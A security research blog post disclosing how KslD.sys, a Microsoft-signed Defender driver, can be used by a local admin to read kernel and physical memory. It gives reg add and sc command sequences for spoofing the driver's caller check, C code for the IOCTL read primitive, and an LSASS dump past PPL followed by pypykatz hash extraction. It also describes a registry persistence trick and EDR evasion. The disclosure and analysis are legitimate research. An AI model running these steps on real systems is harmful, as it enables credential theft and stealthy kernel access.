Written by Noam Pomerantz
- TL;DR
- Introduction
- Technical Analysis of KslD.sys
- Access Control: The Illusion of Process-Name Validation
- IOCTL Analysis & Sub-Commands
- The Exploitation Chain
- The SharedState Registry Persistence Vector
- Dynamic Multi-Build Support
- Patch Analysis & Driver Variants
- Security Impact & Attack Scenarios
- Disclosure Timeline
TL;DR
My research has identified a critical security flaw in KslD.sys, a Microsoft-signed kernel support driver shipped with Windows Defender. This driver exposes unrestricted physical and virtual memory read primitives through a single IOCTL.
I developed a proof-of-concept tool “DefenderDump” that, given local admin access, bypasses the driver’s weak access control to defeat KASLR, dump LSASS credentials through PPL protection, and enumerate all process tokens – without dropping or loading any external driver. This effectively turns a core Microsoft security component into a powerful LOLDriver (Living Off the Land Driver), buried deep within the Windows security stack.
Quick Start
C:\> reg add "HKLM\SYSTEM\CurrentControlSet\Services\KslD\SharedState" /v AllowedProcessName /d "<your NT path>" /fC:\> MsMpEng.exe --kaslr # defeat KASLR via CPU register dumpC:\> MsMpEng.exe --dump-tokens # enumerate all processes + tokens + PPL levelsC:\> MsMpEng.exe --lsass-dump # dump LSASS via page table walk → lsass.dmpC:\> pypykatz lsa minidump lsass.dmp # extract NTLM hashes offline
Find the DefenderDump Github repo here
Introduction
Discovery: A Driver Hidden in Plain Sight
During a security audit of kernel drivers on Windows 11, I identified KslD.sys – a kernel support driver for the Windows Defender platform. A single IOCTL (`0x222044`) dispatches to 20 sub-command slots, several of which provide unrestricted physical and virtual memory access.
While preparing this writeup, I learned that S1lkys published a similar finding with KslKatz. My research independently confirms their results. I extend beyond KslKatz with a registry persistence technique (SharedState) that survives Defender self-updates. My tool also takes a different architectural approach – generating a standard minidump for offline pypykatz analysis rather than performing in-process credential decryption.
Technical Analysis of KslD.sys
| Property | Value |
| File Path | C:\Windows\System32\drivers\KslD.sys (newer systems) or drivers\wd\KslD.sys (older) |
| Service Name | KslD (Demand Start) |
| Signer | CN=Microsoft Windows, O=Microsoft Corporation |
| Device Name | \\.\KslD (symlink derived from DeviceName registry value) |
| IOCTL | 0x222044 (Device=0x22, Function=0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) |
The driver is a core component of the Defender platform, updated via KB4052623. Its Microsoft signature means:
- It loads on systems with Secure Boot enabled.
- Being Microsoft-signed, it is expected to pass WDAC and HVCI (Memory Integrity) policy checks.
- It is not on the Vulnerable Driver Blocklist (it is Microsoft’s own trusted binary).
- No external driver needs to be dropped or loaded by the attacker.
Access Control: The Illusion of Process-Name Validation
The driver implements a single access control mechanism: full NT path validation of the calling process.
The driver retrieves its expected caller path from the registry:
Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\KslDValue Name: AllowedProcessNameValue Data: \Device\HarddiskVolume4\ProgramData\Microsoft\Windows Defender\Platform\4.18.XXXXX.X\MsMpEng.exe
When a process opens the \\.\KslD device, the driver calls ZwQueryInformationProcess with ProcessImageFileName (class 0x1B) to obtain the caller’s full NT image path, then compares it against the AllowedProcessName value. This is a full-path comparison, not just a filename check.
The bypass requires administrator access to modify the registry:
C:\Exploit> copy exploit.exe MsMpEng.exeREM Write our path to the SharedState subkey (driver reads this first)C:\Exploit> reg add "HKLM\SYSTEM\CurrentControlSet\Services\KslD\SharedState" ^ /v AllowedProcessName /t REG_SZ ^ /d "\Device\HarddiskVolume4\Users\Attacker\MsMpEng.exe" /fC:\Exploit> MsMpEng.exe --check[+] Opened device: \\.\KslD (access: READ+WRITE)
There is no DACL on the device object, no integrity level check, and no code signing validation on the caller. Once the registry value points to the attacker’s executable, any process at that path can access the driver.
Why this still matters: The driver is Microsoft-signed and already loaded on the system. An attacker with admin access doesn’t need to drop or load any driver – they just point the existing driver’s access control at their own tool. This avoids BYOVD blocklists and driver-loading alerts entirely.
Technical nuance: The
AllowedProcessNamemust be in NT path format (\Device\HarddiskVolumeX\...), not Win32 format (C:\...), as this is whatZwQueryInformationProcessreturns. UseQueryDosDevice("C:")to resolve the correct volume device path.
Step-by-Step Reproduction
Step 1: Rename the exploit binary to MsMpEng.exe.
Step 2: Configure the driver’s registry values (run as Administrator). Replace \Device\HarddiskVolumeX\Path\To\ with your actual NT path:
reg add "HKLM\System\CurrentControlSet\Services\KslD\SharedState" /v DeviceName /t REG_SZ /d "KslD" /freg add "HKLM\System\CurrentControlSet\Services\KslD\SharedState" /v AllowedProcessName /t REG_SZ /d "\Device\HarddiskVolumeX\Path\To\MsMpEng.exe" /freg add "HKLM\System\CurrentControlSet\Services\KslD\SharedState" /v Version /t REG_SZ /d "1.1.25111.3024" /f
Step 3: Restart the driver to apply the configuration:
sc stop KslDsc start KslD
The device \\.\KslD is now accessible to the renamed exploit process with READ+WRITE access.
Step 4: Run the exploit:
MsMpEng.exe --lsass-dump
Finding your NT path: Run
powershell -c "(Get-Item C:\).Target"or useQueryDosDevice("C:")programmatically. A typical NT path looks like\Device\HarddiskVolume4\Users\YourUser\Desktop\MsMpEng.exe.
IOCTL Analysis & Sub-Commands
The 0x222044 IOCTL handler dispatches based on the first DWORD of the input buffer. The base input structure is 24 bytes, though some sub-commands extend it to 32 bytes:
// Base input structure (e.g., for sub-commands 0x01, 0x02)typedef struct _KSLD_INPUT { ULONG SubCommand; // +0x00 ULONG ProcessorIdx; // +0x04 ULONGLONG PhysAddress; // +0x08 ULONGLONG Size; // +0x10} KSLD_INPUT; // Total: 24 bytes (0x18)// Extended input structure (e.g., for sub-command 0x0C - MmCopyMemory)typedef struct _KSLD_INPUT_EX { ULONG SubCommand; // +0x00 (= 0x0C) ULONG Reserved; // +0x04 ULONGLONG Address; // +0x08 physical or virtual address ULONGLONG Size; // +0x10 bytes to copy ULONG Direction; // +0x18 1=Physical, 2=Virtual ULONG Padding; // +0x1C} KSLD_INPUT_EX; // Total: 32 bytes (0x20), followed by data area
The driver supports sub-commands 0x00 through 0x13 (20 dispatch slots) across three internal “plugins”.
Plugin 1 – Memory & Process Operations
| Sub-Cmd | Native Function | Security Impact |
0x00 | Version query | Information Disclosure |
0x01 | ZwMapViewOfSection (\Device\PhysicalMemory) | Arbitrary Physical Memory Read |
0x02 | DPC-based CPU register dump (IDTR, GDT, CR0, CR3, CR4) | KASLR Bypass |
0x07 | MmGetSystemRoutineAddress | Kernel Symbol Resolution |
0x08 | ZwOpenProcess (any PID) + ObReferenceObjectByHandle | Process Handle Acquisition (EPROCESS) |
0x0B | (Validated by Plugin 1 bitmask) | Stub – not dispatched |
0x0C | MmCopyMemory wrapper | Arbitrary Kernel/Physical Memory Read |
Plugin 2 – File & Reparse Operations
| Sub-Cmd | Native Function | Security Impact |
0x03/ 0x05 | ZwReadFile (with pagefile path validation) | Kernel File Read |
0x04 / 0x06 | ZwCreateFile + ZwQueryInformationFile | Kernel File Open / Size Query |
0x09 | ZwFsControlFile (FSCTL_SET_REPARSE_POINT) | Reparse Point Manipulation |
Plugin 3 – Hardware Operations
| Sub-Cmd | Native Function | Security Impact |
0x0E | CPUID execution | CPU Feature Enumeration |
0x0F | PCI config space read (port I/O 0xCF8/0xCFC) | Hardware Enumeration (PCI) |
0x10 | PCI BAR / MMIO region discovery | Hardware Detection |
0x11 | MmMapIoSpace (SMBus MMIO read) | Arbitrary Physical Memory Read |
0x12 | PCI BAR range enumeration (port I/O) | Hardware Enumeration |
0x13 | Bulk MmMapIoSpace read (page-aligned) / Gated Physical Read | Gated Physical Write (see note) |
Three independent paths to read physical memory exist (sub-commands 0x01, 0x0C, and 0x11). Sub-command 0x0C also supports virtual kernel address reads via the MM_COPY_MEMORY_VIRTUAL flag.
Note on write primitive (sub-cmd 0x13): The MmMapIoSpace write operation is gated behind hardware capability flags at driver offsets
+0x18and+0x19, which must be set first via sub-commands 0x0F (PCI config read) and 0x10 (AHCI BAR detection). This requires the target machine to have responsive PCI/AHCI hardware in order to trigger the correct code path. In my testing across multiple VMs and bare-metal configurations, I was unable to achieve a reliable write primitive – all 20 sub-commands behaved as read-only in practice. This limits the impact to information disclosure and credential theft, not direct privilege escalation via token overwrite.
The Exploitation Chain
Step 1: Defeating KASLR via DPC
Sub-command 0x02 dumps CPU register state by dispatching a Deferred Procedure Call (DPC) to a target processor:

From the IDTR base, I use the physical memory read primitive to walk the IDT and extract ISR addresses:
Sub-cmd 0x02 → IDTR.Base → Read IDT[n] → ISR address (inside ntoskrnl) ↓ Scan backwards (page-aligned) for MZ header ↓ ntoskrnl base address
These ISRs reside within ntoskrnl.exe, so scanning backwards from any ISR address to the nearest MZ header reveals the kernel base – defeating KASLR entirely from user mode.
Alternatively, the kernel base can be retrieved directly via NtQuerySystemInformation (class 11). Since the exploit chain already assumes local administrator privileges, this API is readily available, but the IDT-walking method serves as a robust, API-less fallback that relies solely on the driver’s primitives.
Step 2: Acquiring Kernel Virtual Read
The primary read primitive is sub-command 0x0C, which wraps MmCopyMemory:
BOOL KslMmCopyRead(UINT64 Address, PVOID outData, DWORD size, ULONG Direction) { BYTE buf[4096] = {0}; PKSLD_INPUT_EX input = (PKSLD_INPUT_EX)buf; input->SubCommand = 0x0C; input->Address = Address; input->Size = size; input->Direction = Direction; // 1=Physical, 2=Virtual DWORD br = 0; // METHOD_BUFFERED: data follows the 0x20-byte header in the system buffer BOOL ok = DeviceIoControl(hDevice, KSLD_IOCTL, buf, 0x20 + size, buf, 0x20 + size, &br, NULL); if (ok) memcpy(outData, buf, size); return ok;}
This grants arbitrary read of any kernel virtual address – including EPROCESS structures, token objects, encryption keys, and any paged-in kernel data. For physical address reads, I set Direction = 1.
Step 3: Dynamic EPROCESS & Offset Enumeration
With a functional kernel read primitive, I traverse the EPROCESS linked list starting from PsInitialSystemProcess:
C:\Exploit> MsMpEng.exe --dump-tokens[+] System EPROCESS: 0xFFFFAC09C5289040[*] Auto-detecting EPROCESS offsets for this OS build...[+] UniqueProcessId offset: 0x440 (found PID=4)[+] ActiveProcessLinks offset: 0x448[+] ImageFileName offset: 0x5A8 (found 'System')[+] Token offset: 0x4B8 (value: 0xFFFF9D8246C44770)[+] Protection offset: 0x87A (value: 0x72)PID PPID Protection Token Name----- ----- --------------- ----------------- ----------------4 0 72 WinSystem:PP FFFF9D8246C44770 System580 4 61 WinTcb:PPL FFFF9D8246C42400 smss.exe768 580 00 None FFFF9D8246C5E3C0 csrss.exe...5612 832 31 AntiMalw:PPL FFFF9D824C2156A0 MsMpEng.exe6200 832 41 Lsa:PPL FFFF9D824B891640 lsass.exe ← PPL Protected

Offset challenge: EPROCESS field offsets change between Windows builds. Build 22621 (22H2) uses PID=0x440, while build 26200 (24H2) uses PID=0x1D0. DefenderDump eliminates hardcoded offsets by dynamically probing the System EPROCESS at runtime:
- Scan for QWORD value
4(System’s PID) at 8-byte aligned offsets - Verify the subsequent QWORD is a valid kernel pointer (the
FlinkofActiveProcessLinks) - Scan forward for the ASCII string
"System"to identify theImageFileNameoffset - Apply the known PID-to-Token delta (
0x78, consistent across tested builds) to locate theTokenfield - Search for byte value
0x72(WinSystem:PP – signer=7, type=2) past the image name to find theProtectionfield
This approach works across Windows 10/11 builds without code modifications.
Step 4: PPL Bypass – Direct Physical Memory Acquisition of LSASS
Modern Windows protects LSASS with Protected Process Light (PPL). Standard calls like OpenProcess + MiniDumpWriteDump fail with ERROR_ACCESS_DENIED, defeating traditional credential dumpers like Mimikatz.
I bypass PPL entirely by acquiring LSASS memory through its physical addresses:
4.1 – Locate LSASS EPROCESS
Traverse the EPROCESS list (Step 3) and find the entry where ImageFileName == "lsass.exe".
4.2 – Extract CR3 (Directory Table Base)
Each process has a unique CR3 value stored in KPROCESS.DirectoryTableBase (offset 0x028, stable across builds):
UINT64 lsassCr3;KslMmCopyRead(lsassEprocess + 0x028, &lsassCr3, 8, MM_COPY_MEMORY_VIRTUAL);// Result: 0x000000014C21A000
4.3 – Walking the page tables (Manual translation)
I implemented a small Virtual-to-Physical memory translation by manually walking the Page Tables in order to get physical addresses for the LSASS process. This was done by walking the 4-level page table hierarchy as below:
Virtual Address Translation Breakdown:[ PML4: 9 bits | PDPT: 9 bits | PD: 9 bits | PT: 9 bits | Offset: 12 bits ]Virtual Address: 0x00007FF6'12340000CR3 (DTB) ──► PML4[0x0FF] ──► PDPT base (physical) PDPT[0x1D8] ──► PD base (physical) PD[0x091] ──► PT base (physical) [or 2MB page if PS bit set] PT[0x140] ──► 4KB Page Frame (physical)
The entire translation is performed from user mode using the KslD.sys physical memory read primitive. Large pages (2MB) are handled by checking the PS (Page Size) bit in the PD entry.
4.4 – Physical Acquisition
I read LSASS memory pages through their physical addresses using sub-command 0x0C with Direction=1 (physical). By interacting directly with the physical memory pages, I completely bypass the Object Manager. Consequently, the kernel’s PPL access checks are never triggered, as no formal handle to the LSASS process is ever requested.
4.5 – Minidump Generation
DefenderDump constructs a standard Minidump (MDMP) file for offline analysis:
SystemInfoStream– OS version, build number, processor architectureModuleListStream– loaded DLLs in LSASS (lsasrv.dll,msv1_0.dll,wdigest.dll, etc.)Memory64ListStream– raw memory pages acquired via physical reads
The generated dump is compatible with pypykatz for credential extraction:
C:\Analyst> pypykatz lsa minidump lsass.dmp== MSV == Username: JohnDoe Domain: WORKGROUP LM: aad3b435b51404eeaad3b435b51404ee NT: [redacted] SHA1: [redacted]== WDigest ==

About WDigest: Cleartext WDigest credentials are only cached when
HKLM\...\WDigest\UseLogonCredentialis set to1. This is disabled by default on Windows 10+. NTLM hashes from MSV1_0 are available on systems without Credential Guard.
Limitations: Some LSASS heap pages may be paged out to
pagefile.sys. Physical memory reads cannot retrieve paged-out data. In practice, the critical credential structures (MSV1_0 logon sessions) are typically resident. VBS-backed Credential Guard isolates Kerberos TGTs and derived keys inLSAIso.exe(VTL1), making those secrets inaccessible via physical memory reads. NTLM hashes may still reside in LSASS (VTL0) depending on Windows version and CG configuration.
The SharedState Registry Persistence Vector
When Windows Defender platform updates occur (via KB4052623), the KslD service configuration often resets – the AllowedProcessName path may change, or the DeviceName symlink might be updated.
I discovered that the driver attempts to read its configuration from a SharedState subkey before falling back to the service root:
HKLM\SYSTEM\CurrentControlSet\Services\KslD\SharedState DeviceName = KslD AllowedProcessName = \Device\HarddiskVolume4\...\MsMpEng.exe Version = 4.18.XXXXX.X
By pre-creating this key with the spoofed process name and the correct volume path, the exploit survives Defender self-updates. The driver continues to grant access to the spoofed executable.
Note: Writing to
HKLM\SYSTEM\CurrentControlSet\Services\requires administrator privileges. This is a post-exploitation persistence mechanism, not an initial vector for privilege escalation.
Dynamic Multi-Build Support
Windows kernel structures change between builds. DefenderDump handles this automatically:
| Build | PID Offset | Links | Token | ImageName | Protection |
| 22621 (Win11 22H2) | 0x440 | 0x448 | 0x4B8 | 0x5A8 | 0x87A |
| 26200 (Win11 24H2) | 0x1D0 | 0x1D8 | 0x248 | 0x338 | 0x5FA |
Rather than maintaining an offset table, the tool probes the System EPROCESS at runtime and discovers all offsets dynamically (see Step 3). The PID-to-Token delta of 0x78 has been consistent across every build I tested.
Patch Analysis & Driver Variants
Microsoft ships KslD.sys in different locations depending on the Defender platform version:
| Path | Newer systems | My VM (22H2) | Notes |
drivers\KslD.sys | Present | Not found | Primary path on current Defender builds |
drivers\wd\KslD.sys | Not found | Present (82KB) | Older Defender layout |
Key observations:
- KslKatz reports the 82KB version has MmCopyMemory nulled, and ships an embedded copy of the older 333KB version as a workaround. On my Win11 24H2 VM (Defender platform
4.18.26010.5), sub-command 0x0C functioned correctly – suggesting the nulling behavior varies across Defender platform versions. - Even if
MmCopyMemorywere disabled, sub-commands0x01(ZwMapViewOfSection) and0x11(MmMapIoSpace) utilize separate code paths and provide independent physical memory read primitives. - Nulling one function pointer is insufficient – the vulnerability is a design flaw – multiple independent primitives each give the same read capability.
Security Impact & Attack Scenarios
Scenarios
- Credential theft: Dump NTLM hashes from LSASS by bypassing PPL protection and EDR usermode hooks. WDigest cleartext passwords are extractable if
UseLogonCredential=1. - Post-exploitation kernel read: An attacker with admin access gains full kernel memory visibility through a Microsoft-signed driver, avoiding the need to load their own driver or trigger BYOVD blocklist alerts.
- EDR evasion: The driver is Microsoft-signed and already present on the system – no vulnerable driver to drop, no blocklist entries to worry about. The only file placed on disk is the renamed exploit executable.
- Persistence: The SharedState registry technique survives Defender self-updates (requires one-time admin access to create the key).
Disclosure Timeline
This vulnerability was discovered independently during authorized security research.
| Date | Event |
| 2026-03-14 | Independent discovery during kernel driver audit |
| 2026-03-15 | PoC tool developed and validated on Win11 22H2 + 24H2 |
| 2026-04-01 | Microsoft Response: this issue does not meet the bar for security servicing. |
| 2026-04-02 | Blog post published |




